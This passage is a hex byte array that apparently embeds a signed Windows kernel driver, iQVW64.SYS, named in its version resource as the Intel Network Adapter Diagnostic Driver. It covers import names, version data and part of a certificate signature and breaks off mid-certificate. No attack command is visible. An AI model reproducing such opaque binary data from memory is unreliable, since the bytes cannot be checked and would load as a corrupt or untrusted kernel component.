0x5a, 0x77, 0x4f, 0x70, 0x65, 0x6e, 0x4b, 0x65, 0x79, 0x00, 0xdf, 0x05, 0x77, 0x63, 0x73, 0x6e, 0x63, 0x70, 0x79, 0x00, 0x7d, 0x01, 0x49, 0x6f, 0x47, 0x65, 0x74, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x50, 0x6f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x00, 0x00, 0x7c, 0x01, 0x49, 0x6f, 0x47, 0x65, 0x74, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x66, 0x61, 0x63, 0x65, 0x73, 0x00, 0x4c, 0x03, 0x4f, 0x62, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x42, 0x79, 0x50, 0x6f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x00, 0x00, 0x13, 0x02, 0x4b, 0x65, 0x42, 0x75, 0x67, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x45, 0x78, 0x00, 0x00, 0x6e, 0x74, 0x6f, 0x73, 0x6b, 0x72, 0x6e, 0x6c, 0x2e, 0x65, 0x78, 0x65, 0x00, 0x00, 0x3b, 0x00, 0x4b, 0x65, 0x53, 0x74, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x00, 0x3a, 0x00, 0x4b, 0x65, 0x51, 0x75, 0x65, 0x72, 0x79, 0x50, 0x65, 0x72, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x6e, 0x63, 0x65, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x65, 0x72, 0x00, 0x48, 0x41, 0x4c, 0x2e, 0x64, 0x6c, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x10, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x09, 0x04, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x60, 0x30, 0x5d, 0x00, 0x94, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x94, 0x03, 0x34, 0x00, 0x00, 0x00, 0x56, 0x00, 0x53, 0x00, 0x5f, 0x00, 0x56, 0x00, 0x45, 0x00, 0x52, 0x00, 0x53, 0x00, 0x49, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x5f, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x46, 0x00, 0x4f, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbd, 0x04, 0xef, 0xfe, 0x00, 0x00, 0x01, 0x00, 0x03, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x02, 0x00, 0x05, 0x00, 0x26, 0x07, 0xce, 0x0e, 0x3f, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x04, 0x00, 0x04, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf2, 0x02, 0x00, 0x00, 0x01, 0x00, 0x53, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x67, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6c, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6e, 0x00, 0x66, 0x00, 0x6f, 0x00, 0x00, 0x00, 0xce, 0x02, 0x00, 0x00, 0x01, 0x00, 0x30, 0x00, 0x34, 0x00, 0x30, 0x00, 0x39, 0x00, 0x30, 0x00, 0x34, 0x00, 0x42, 0x00, 0x30, 0x00, 0x00, 0x00, 0x46, 0x00, 0x13, 0x00, 0x01, 0x00, 0x43, 0x00, 0x6f, 0x00, 0x6d, 0x00, 0x70, 0x00, 0x61, 0x00, 0x6e, 0x00, 0x79, 0x00, 0x4e, 0x00, 0x61, 0x00, 0x6d, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0x00, 0x6e, 0x00, 0x74, 0x00, 0x65, 0x00, 0x6c, 0x00, 0x20, 0x00, 0x43, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x70, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7e, 0x00, 0x2b, 0x00, 0x01, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6c, 0x00, 0x65, 0x00, 0x44, 0x00, 0x65, 0x00, 0x73, 0x00, 0x63, 0x00, 0x72, 0x00, 0x69, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0x00, 0x6e, 0x00, 0x74, 0x00, 0x65, 0x00, 0x6c, 0x00, 0x28, 0x00, 0x52, 0x00, 0x29, 0x00, 0x20, 0x00, 0x4e, 0x00, 0x65, 0x00, 0x74, 0x00, 0x77, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x6b, 0x00, 0x20, 0x00, 0x41, 0x00, 0x64, 0x00, 0x61, 0x00, 0x70, 0x00, 0x74, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x69, 0x00, 0x61, 0x00, 0x67, 0x00, 0x6e, 0x00, 0x6f, 0x00, 0x73, 0x00, 0x74, 0x00, 0x69, 0x00, 0x63, 0x00, 0x20, 0x00, 0x44, 0x00, 0x72, 0x00, 0x69, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x00, 0x1a, 0x00, 0x01, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6c, 0x00, 0x65, 0x00, 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x33, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x2e, 0x00, 0x34, 0x00, 0x20, 0x00, 0x62, 0x00, 0x75, 0x00, 0x69, 0x00, 0x6c, 0x00, 0x74, 0x00, 0x20, 0x00, 0x62, 0x00, 0x79, 0x00, 0x3a, 0x00, 0x20, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x44, 0x00, 0x44, 0x00, 0x4b, 0x00, 0x00, 0x00, 0x36, 0x00, 0x0b, 0x00, 0x01, 0x00, 0x49, 0x00, 0x6e, 0x00, 0x74, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6e, 0x00, 0x61, 0x00, 0x6c, 0x00, 0x4e, 0x00, 0x61, 0x00, 0x6d, 0x00, 0x65, 0x00, 0x00, 0x00, 0x69, 0x00, 0x51, 0x00, 0x56, 0x00, 0x57, 0x00, 0x36, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x53, 0x00, 0x59, 0x00, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa2, 0x00, 0x3f, 0x00, 0x01, 0x00, 0x4c, 0x00, 0x65, 0x00, 0x67, 0x00, 0x61, 0x00, 0x6c, 0x00, 0x43, 0x00, 0x6f, 0x00, 0x70, 0x00, 0x79, 0x00, 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6f, 0x00, 0x70, 0x00, 0x79, 0x00, 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x20, 0x00, 0x28, 0x00, 0x43, 0x00, 0x29, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00, 0x32, 0x00, 0x2d, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00, 0x36, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6e, 0x00, 0x74, 0x00, 0x65, 0x00, 0x6c, 0x00, 0x20, 0x00, 0x43, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x70, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x20, 0x00, 0x41, 0x00, 0x6c, 0x00, 0x6c, 0x00, 0x20, 0x00, 0x52, 0x00, 0x69, 0x00, 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x73, 0x00, 0x20, 0x00, 0x52, 0x00, 0x65, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x76, 0x00, 0x65, 0x00, 0x64, 0x00, 0x2e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x0b, 0x00, 0x01, 0x00, 0x4f, 0x00, 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x61, 0x00, 0x6c, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6c, 0x00, 0x65, 0x00, 0x6e, 0x00, 0x61, 0x00, 0x6d, 0x00, 0x65, 0x00, 0x00, 0x00, 0x69, 0x00, 0x51, 0x00, 0x56, 0x00, 0x57, 0x00, 0x36, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x53, 0x00, 0x59, 0x00, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x14, 0x00, 0x01, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, 0x4e, 0x00, 0x61, 0x00, 0x6d, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0x00, 0x6e, 0x00, 0x74, 0x00, 0x65, 0x00, 0x6c, 0x00, 0x28, 0x00, 0x52, 0x00, 0x29, 0x00, 0x20, 0x00, 0x69, 0x00, 0x51, 0x00, 0x56, 0x00, 0x57, 0x00, 0x36, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x53, 0x00, 0x59, 0x00, 0x53, 0x00, 0x00, 0x00, 0x36, 0x00, 0x09, 0x00, 0x01, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x31, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x33, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x2e, 0x00, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, 0x00, 0x01, 0x00, 0x56, 0x00, 0x61, 0x00, 0x72, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6c, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6e, 0x00, 0x66, 0x00, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x04, 0x00, 0x00, 0x00, 0x54, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6e, 0x00, 0x73, 0x00, 0x6c, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x04, 0xb0, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa8, 0x1a, 0x00, 0x00, 0x00, 0x02, 0x02, 0x00, 0x30, 0x82, 0x1a, 0x97, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x07, 0x02, 0xa0, 0x82, 0x1a, 0x88, 0x30, 0x82, 0x1a, 0x84, 0x02, 0x01, 0x01, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x05, 0x2b, 0x0e, 0x03, 0x02, 0x1a, 0x05, 0x00, 0x30, 0x68, 0x06, 0x0a, 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x04, 0xa0, 0x5a, 0x30, 0x58, 0x30, 0x33, 0x06, 0x0a, 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x0f, 0x30, 0x25, 0x03, 0x01, 0x00, 0xa0, 0x20, 0xa2, 0x1e, 0x80, 0x1c, 0x00, 0x3c, 0x00, 0x3c, 0x00, 0x3c, 0x00, 0x4f, 0x00, 0x62, 0x00, 0x73, 0x00, 0x6f, 0x00, 0x6c, 0x00, 0x65, 0x00, 0x74, 0x00, 0x65, 0x00, 0x3e, 0x00, 0x3e, 0x00, 0x3e, 0x30, 0x21, 0x30, 0x09, 0x06, 0x05, 0x2b, 0x0e, 0x03, 0x02, 0x1a, 0x05, 0x00, 0x04, 0x14, 0x9d, 0xae, 0x30, 0x6e, 0xbc, 0x30, 0xa8, 0xc2, 0xf1, 0x60, 0xe3, 0xf6, 0xe7, 0x26, 0xfc, 0xd3, 0xe4, 0xf9, 0x22, 0x80, 0xa0, 0x82, 0x16, 0x5c, 0x30, 0x82, 0x03, 0x7a, 0x30, 0x82, 0x02, 0x62, 0xa0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x10, 0x38, 0x25, 0xd7, 0xfa, 0xf8, 0x61, 0xaf, 0x9e, 0xf4, 0x90, 0xe7, 0x26, 0xb5, 0xd6, 0x5a, 0xd5, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x05, 0x05, 0x00, 0x30, 0x53, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04, 0x0a, 0x13, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6e, 0x2c, 0x20, 0x49, 0x6e, 0x63, 0x2e, 0x31, 0x2b, 0x30, 0x29, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x22, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6e, 0x20, 0x54, 0x69, 0x6d, 0x65, 0x20, 0x53, 0x74, 0x61, 0x6d, 0x70, 0x69, 0x6e, 0x67, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, 0x43, 0x41, 0x30, 0x1e, 0x17, 0x0d, 0x30, 0x37, 0x30, 0x36, 0x31, 0x35, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x17, 0x0d, 0x31, 0x32, 0x30, 0x36, 0x31, 0x34, 0x32, 0x33, 0x35, 0x39, 0x35, 0x39, 0x5a, 0x30, 0x5c, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04, 0x0a, 0x13, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6e, 0x2c, 0x20, 0x49, 0x6e, 0x63, 0x2e, 0x31, 0x34, 0x30, 0x32, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x2b, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6e, 0x20, 0x54, 0x69, 0x6d, 0x65, 0x20, 0x53, 0x74, 0x61, 0x6d, 0x70, 0x69, 0x6e, 0x67, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, 0x53, 0x69, 0x67, 0x6e, 0x65, 0x72, 0x20, 0x2d, 0x20, 0x47, 0x32, 0x30, 0x81, 0x9f, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x81, 0x8d, 0x00, 0x30, 0x81, 0x89, 0x02, 0x81, 0x81, 0x00, 0xc4, 0xb5, 0xf2, 0x52, 0x15, 0xbc, 0x88, 0x86, 0x60, 0x29, 0x16, 0x4a, 0x5b, 0x2f, 0x4b, 0x91, 0x6b, 0x87, 0x91, 0xf3, 0x35, 0x54, 0x58, 0x35, 0xea, 0xd1, 0x36, 0x5e, 0x62, 0x4d, 0x52, 0x51, 0x34, 0x71, 0xc2, 0x7b, 0x66, 0x1d, 0x89, 0xc8, 0xdd, 0x2a, 0xc4, 0x6a, 0x0a, 0xf6, 0x37, 0xd9, 0x98, 0x74, 0x91, 0xf6, 0x92, 0xae, 0xb0, 0xb5, 0x76, 0x96, 0xf1, 0xa9, 0x4a, 0x63, 0x45, 0x47, 0x2e, 0x6b, 0x0b, 0x92, 0x4e, 0x4b, 0x2b, 0x8c, 0xee, 0x58, 0x4a, 0x8b, 0xd4, 0x07, 0xe4, 0x1a, 0x2c, 0xf8, 0x82, 0xaa, 0x58, 0xd9, 0xcd, 0x42, 0xf3, 0x2d, 0xc0, 0x75, 0xde, 0x8d, 0xab, 0xc7, 0x8e, 0x1d, 0x9a, 0x6c, 0x4c, 0x08, 0x95, 0x1e, 0xde, 0xdb, 0xef, 0x67, 0xe1, 0x72, 0xc2, 0x49, 0xc2, 0x9e, 0x60, 0x3c, 0xe1, 0xe2, 0xbe, 0x16, 0xa3, 0x63, 0x78, 0x69, 0x14, 0x7b, 0xad, 0x2d, 0x02, 0x03, 0x01, 0x00, 0x01, 0xa3, 0x81, 0xc4, 0x30, 0x81, 0xc1, 0x30, 0x34, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01, 0x01, 0x04, 0x28, 0x30, 0x26, 0x30, 0x24, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x01, 0x86, 0x18, 0x68, 0x74, 0x74, 0x70, 0x3a, 0x2f, 0x2f, 0x6f, 0x63, 0x73, 0x70, 0x2e, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x2e, 0x63, 0x6f, 0x6d, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x1d, 0x13, 0x01, 0x01, 0xff, 0x04, 0x02, 0x30, 0x00, 0x30, 0x33, 0x06, 0x03, 0x55, 0x1d, 0x1f, 0x04, 0x2c, 0x30, 0x2a, 0x30, 0x28, 0xa0, 0x26, 0xa0, 0x24, 0x86, 0x22, 0x68, 0x74, 0x74, 0x70, 0x3a, 0x2f, 0x2f, 0x63, 0x72, 0x6c, 0x2e, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x74, 0x73, 0x73, 0x2d, 0x63, 0x61, 0x2e, 0x63, 0x72, 0x6c, 0x30, 0x16, 0x06, 0x03, 0x55, 0x1d, 0x25, 0x01, 0x01, 0xff, 0x04, 0x0c, 0x30, 0x0a, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x08, 0x30, 0x0e, 0x06, 0x03, 0x55, 0x1d, 0x0f, 0x01, 0x01, 0xff, 0x04, 0x04, 0x03, 0x02, 0x06, 0xc0, 0x30, 0x1e, 0x06, 0x03, 0x55, 0x1d, 0x11, 0x04, 0x17, 0x30, 0x15, 0xa4, 0x13, 0x30, 0x11, 0x31, 0x0f, 0x30, 0x0d, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x06, 0x54, 0x53, 0x41, 0x31, 0x2d, 0x32, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x82, 0x01, 0x01, 0x00, 0x50, 0xc5, 0x4b, 0xc8, 0x24, 0x80, 0xdf, 0xe4, 0x0d, 0x24, 0xc2, 0xde, 0x1a, 0xb1, 0xa1, 0x02, 0xa1, 0xa6, 0x82, 0x2d, 0x0c, 0x83, 0x15, 0x81, 0x37, 0x0a, 0x82, 0x0e, 0x2c, 0xb0, 0x5a, 0x17, 0x61, 0xb5, 0xd8, 0x05, 0xfe, 0x88, 0xdb, 0xf1, 0x91, 0x91, 0xb3, 0x56, 0x1a, 0x40, 0xa6, 0xeb, 0x92, 0xbe, 0x38, 0x39, 0xb0, 0x75, 0x36, 0x74, 0x3a, 0x98, 0x4f, 0xe4, 0x37, 0xba, 0x99, 0x89, 0xca, 0x95, 0x42, 0x1d, 0xb0, 0xb9, 0xc7, 0xa0, 0x8d, 0x57, 0xe0, 0xfa, 0xd5, 0x64, 0x04, 0x42, 0x35, 0x4e, 0x01, 0xd1, 0x33, 0xa2, 0x17, 0xc8, 0x4d, 0xaa, 0x27, 0xc7, 0xf2, 0xe1, 0x86, 0x4c, 0x02, 0x38, 0x4d, 0x83, 0x78, 0xc6, 0xfc, 0x53, 0xe0, 0xeb, 0xe0, 0x06, 0x87, 0xdd, 0xa4, 0x96, 0x9e, 0x5e, 0x0c, 0x98, 0xe2, 0xa5, 0xbe, 0xbf, 0x82, 0x85, 0xc3, 0x60, 0xe1, 0xdf, 0xad, 0x28, 0xd8, 0xc7, 0xa5, 0x4b, 0x64, 0xda, 0xc7, 0x1b, 0x5b, 0xbd, 0xac, 0x39, 0x08, 0xd5, 0x38, 0x22, 0xa1, 0x33, 0x8b, 0x2f, 0x8a, 0x9a, 0xeb, 0xbc, 0x07, 0x21, 0x3f, 0x44, 0x41, 0x09, 0x07, 0xb5, 0x65, 0x1c, 0x24, 0xbc, 0x48, 0xd3, 0x44, 0x80, 0xeb, 0xa1, 0xcf, 0xc9, 0x02, 0xb4, 0x14, 0xcf, 0x54, 0xc7, 0x16, 0xa3, 0x80, 0x5c, 0xf9, 0x79, 0x3e, 0x5d, 0x72, 0x7d, 0x88, 0x17, 0x9e, 0x2c, 0x43, 0xa2, 0xca, 0x53, 0xce, 0x7d, 0x3d, 0xf6, 0x2a, 0x3a, 0xb8, 0x4f, 0x94, 0x00, 0xa5, 0x6d, 0x0a, 0x83, 0x5d, 0xf9, 0x5e, 0x53, 0xf4, 0x18, 0xb3, 0x57, 0x0f, 0x70, 0xc3, 0xfb, 0xf5, 0xad, 0x95, 0xa0, 0x0e, 0x17, 0xde, 0xc4, 0x16, 0x80, 0x60, 0xc9, 0x0f, 0x2b, 0x6e, 0x86, 0x04, 0xf1, 0xeb, 0xf4, 0x78, 0x27, 0xd1, 0x05, 0xc5, 0xee, 0x34, 0x5b, 0x5e, 0xb9, 0x49, 0x32, 0xf2, 0x33, 0x30, 0x82, 0x03, 0xc4, 0x30, 0x82, 0x03, 0x2d, 0xa0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x10, 0x47, 0xbf, 0x19, 0x95, 0xdf, 0x8d, 0x52, 0x46, 0x43, 0xf7, 0xdb, 0x6d, 0x48, 0x0d, 0x31, 0xa4, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x05, 0x05, 0x00, 0x30, 0x81, 0x8b, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x5a, 0x41, 0x31, 0x15, 0x30, 0x13, 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, 0x0c, 0x57, 0x65, 0x73, 0x74, 0x65, 0x72, 0x6e, 0x20, 0x43, 0x61, 0x70, 0x65, 0x31, 0x14, 0x30, 0x12, 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x0b, 0x44, 0x75, 0x72, 0x62, 0x61, 0x6e, 0x76, 0x69, 0x6c, 0x6c, 0x65, 0x31, 0x0f, 0x30, 0x0d, 0x06, 0x03, 0x55, 0x04, 0x0a, 0x13, 0x06, 0x54, 0x68, 0x61, 0x77, 0x74, 0x65, 0x31, 0x1d, 0x30, 0x1b, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x13, 0x14, 0x54, 0x68, 0x61, 0x77, 0x74, 0x65, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x31, 0x1f, 0x30, 0x1d, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x16, 0x54, 0x68, 0x61, 0x77, 0x74, 0x65, 0x20, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x69, 0x6e, 0x67, 0x20, 0x43, 0x41, 0x30, 0x1e, 0x17, 0x0d, 0x30, 0x33, 0x31, 0x32, 0x30, 0x34, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x17, 0x0d, 0x31, 0x33, 0x31, 0x32, 0x30, 0x33, 0x32, 0x33, 0x35, 0x39, 0x35, 0x39, 0x5a, 0x30, 0x53, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04, 0x0a, 0x13, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6e, 0x2c, 0x20, 0x49, 0x6e, 0x63, 0x2e, 0x31, 0x2b, 0x30, 0x29, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x22, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6e, 0x20, 0x54, 0x69, 0x6d, 0x65, 0x20, 0x53, 0x74, 0x61, 0x6d, 0x70, 0x69, 0x6e, 0x67, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, 0x43, 0x41, 0x30, 0x82, 0x01, 0x22, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0f, 0x00, 0x30, 0x82, 0x01, 0x0a, 0x02, 0x82, 0x01, 0x01, 0x00, 0xa9, 0xca, 0xb2, 0xa4, 0xcc, 0xcd, 0x20, 0xaf, 0x0a, 0x7d, 0x89, 0xac, 0x87, 0x75, 0xf0, 0xb4, 0x4e, 0xf1, 0xdf, 0xc1, 0x0f, 0xbf, 0x67, 0x61, 0xbd, 0xa3, 0x64, 0x1c, 0xda, 0xbb, 0xf9, 0xca, 0x33, 0xab, 0x84, 0x30, 0x89, 0x58, 0x7e, 0x8c, 0xdb, 0x6b, 0xdd, 0x36, 0x9e, 0x0f, 0xbf, 0xd1, 0xec, 0x78, 0xf2, 0x77, 0xa6, 0x7e, 0x6f, 0x3c, 0xbf, 0x93, 0xaf, 0x0d, 0xba, 0x68, 0xf4, 0x6c, 0x94, 0xca, 0xbd, 0x52, 0x2d, 0xab, 0x48, 0x3d, 0xf5, 0xb6, 0xd5, 0x5d, 0x5f, 0x1b, 0x02, 0x9f, 0xfa, 0x2f, 0x6b, 0x1e, 0xa4, 0xf7, 0xa3, 0x9a, 0xa6, 0x1a, 0xc8, 0x02, 0xe1, 0x7f, 0x4c, 0x52, 0xe3, 0x0e, 0x60, 0xec, 0x40, 0x1c, 0x7e, 0xb9, 0x0d, 0xde, 0x3f, 0xc7, 0xb4, 0xdf, 0x87, 0xbd, 0x5f, 0x7a, 0x6a, 0x31, 0x2e, 0x03, 0x99, 0x81, 0x13, 0xa8, 0x47, 0x20, 0xce, 0x31, 0x73, 0x0d, 0x57, 0x2d, 0xcd, 0x78, 0x34, 0x33, 0x95, 0x12, 0x99, 0x12, 0xb9, 0xde, 0x68, 0x2f, 0xaa, 0xe6, 0xe3, 0xc2, 0x8a, 0x8c, 0x2a, 0xc3, 0x8b, 0x21, 0x87, 0x66, 0xbd, 